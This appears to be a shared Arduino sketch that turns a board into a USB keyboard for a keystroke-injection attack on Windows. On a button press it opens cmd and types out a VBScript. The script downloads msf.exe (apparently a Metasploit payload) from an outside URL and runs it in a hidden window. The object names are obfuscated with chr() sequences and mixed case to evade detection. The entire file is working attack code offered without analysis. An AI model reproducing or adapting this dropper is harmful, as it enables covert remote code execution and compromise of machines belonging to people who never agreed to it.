Arduino HID

gistfile1.c

#include "UsbKeyboard.h"
#define BUTTON_PIN 12
#define BYPASS_TIMER_ISR 1
void setup() {
  pinMode(BUTTON_PIN, INPUT);
  digitalWrite(BUTTON_PIN, HIGH);
#if BYPASS_TIMER_ISR
  TIMSK0&=!(1 << TOIE0);
#endif
}
#if BYPASS_TIMER_ISR
void delayMs(unsigned int ms) {
  for (int i = 0; i < ms; i++) {
    delayMicroseconds(1000);
  }
}
#endif
void loop() {
  UsbKeyboard.update();
  if (digitalRead(BUTTON_PIN) == 0 && digitalRead(13) == LOW) {
    play();
  }
#if BYPASS_TIMER_ISR // check if timer isr fixed.
  delayMs(20);
#else
  delay(20);
#endif
}
void usbsend(char* str)
{
  int len = strlen(str);
  boolean upper;
  for(int num=0;num {
      byte val;
      switch (str[num]){
      case '>':
      UsbKeyboard.sendKeyStroke(55, MOD_SHIFT_LEFT);
      break;
      case '&':
      UsbKeyboard.sendKeyStroke(36, MOD_SHIFT_LEFT);
      break;
      case '+':
      UsbKeyboard.sendKeyStroke(46, MOD_SHIFT_LEFT);
      break;
      case '/':
      UsbKeyboard.sendKeyStroke(56);
      break;
      case ';':
      UsbKeyboard.sendKeyStroke(51);
      break;
      case ')':
      UsbKeyboard.sendKeyStroke(39, MOD_SHIFT_LEFT);
      break;
      case '(':
      UsbKeyboard.sendKeyStroke(38, MOD_SHIFT_LEFT);
      break;
      case ',':
      UsbKeyboard.sendKeyStroke(54);
      break;
      case '"':
      UsbKeyboard.sendKeyStroke(52, MOD_SHIFT_LEFT);
      break;
      case '.':
      UsbKeyboard.sendKeyStroke(55);
      break;
      case ' ':
      UsbKeyboard.sendKeyStroke(44);
      break;
      case '\\':
      UsbKeyboard.sendKeyStroke(49);
      break;
      case '=':
      UsbKeyboard.sendKeyStroke(46);
      break;
      case ':':
      UsbKeyboard.sendKeyStroke(51, MOD_SHIFT_LEFT);
      break;
      default:
      if (isupper(str[num])) {
        upper = true;
      } else {
        upper = false;
      }
      val = str[num];
      if (val >= 65 && val <= 90)
        val -= 61;
      else if (val >= 97 && val <= 122)
        val -= 93;
      else if (val >= 48 && val <= 57)
      {
        if(val == 48)
          val = 39;
        else
          val -= 19;
      }
      }
      if(upper){
        UsbKeyboard.sendKeyStroke(val, MOD_SHIFT_LEFT);
      }else{
        UsbKeyboard.sendKeyStroke(val);
      }
      val = 0;
  }
}
void play(){
  digitalWrite(13, HIGH);
  UsbKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delayMs(1000);
  usbsend("cmd");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  delayMs(400);
  usbsend("edit c:\\Users\\Public\\go.vbs");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  delayMs(100);
  usbsend("a = \"https://dc414.org/tmp/msf.exe\"");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("b = \"c:\\Users\\Public\\msf.exe\"");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("seT c=CreATEobJeCt(chR(77)&chr(83)&cHr(88)&chR(77)&chR(76)&Chr(50)&ChR(46)&chr(88)&cHr(77)&Chr(76)&cHr(72)&Chr(84)&CHr(84)&Chr(80))");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("c.open \"GET\", a, false");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("c.send()");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("Set D=cReAtEoBJECt(CHR(65)&cHR(68)&ChR(79)&CHr(68)&cHr(66)&Chr(46)&chr(83)&chr(116)&chR(114)&CHr(101)&chr(97)&chR(109))");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("d.Open");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("d.Type = 1");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("d.Write c.ResponseBody");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("d.Position = 0");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("Set E=CreaTeOBjEcT(CHr(83)&CHr(99)&cHR(114)&cHr(105)&CHr(112)&Chr(116)&chr(105)&CHr(110)&CHr(103)&CHr(46)&chr(70)&chr(105)&chR(108)&CHr(101)&chR(83)&CHr(121)&chr(115)&cH
R(116)&Chr(101)&ChR(109)&Chr(79)&chr(98)&Chr(106)&cHR(101)&Chr(99)&ChR(116))");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("Set e = Nothing");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("d.SaveToFile b");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("d.Close");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("Set d = Nothing");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("SET F=wscRIPT.CREatEObjEcT(cHr(87)&cHr(83)&ChR(67)&chR(114)&cHR(105)&cHr(112)&chr(116)&ChR(46)&ChR(115)&CHr(104)&chr(101)&cHR(108)&chr(108))");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("F.RuN cHr(99)&cHr(58)&Chr(92)&ChR(92)&ChR(85)&ChR(115)&chR(101)&chR(114)&cHR(115)&ChR(92)&ChR(92)&CHr(80)&CHR(117)&chR(98)&cHr(108)&chr(105)&chR(99)&ChR(92)&chr(92)&ChR(
109)&CHr(115)&cHr(102)&CHR(46)&CHr(101)&Chr(120)&CHr(101),((&HE478)/(&h2614)),TRUE");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("Set f = nothing");
  UsbKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
  UsbKeyboard.sendKeyStroke(KEY_S);
  UsbKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
  UsbKeyboard.sendKeyStroke(KEY_X);
  delayMs(100);
  usbsend("start WScript c:\\Users\\Public\\go.vbs");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  usbsend("exit");
  UsbKeyboard.sendKeyStroke(KEY_ENTER);
  digitalWrite(13, LOW);
}